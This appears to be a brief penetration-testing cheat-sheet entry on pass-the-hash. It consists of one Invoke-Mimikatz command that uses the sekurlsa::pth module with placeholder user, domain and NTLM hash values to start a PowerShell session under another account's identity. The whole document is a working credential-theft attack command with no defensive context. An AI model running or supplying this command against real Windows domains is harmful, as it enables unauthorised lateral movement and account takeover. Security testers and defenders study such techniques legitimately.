Pass the Hash (PtH)

Invoke-Mimikatz

Invoke-Mimikatz -Command '"sekurlsa::pth /user:<user> /domain:<ACME.LOCAL> /ntlm:<NT-hash> /run:powershell.exe"'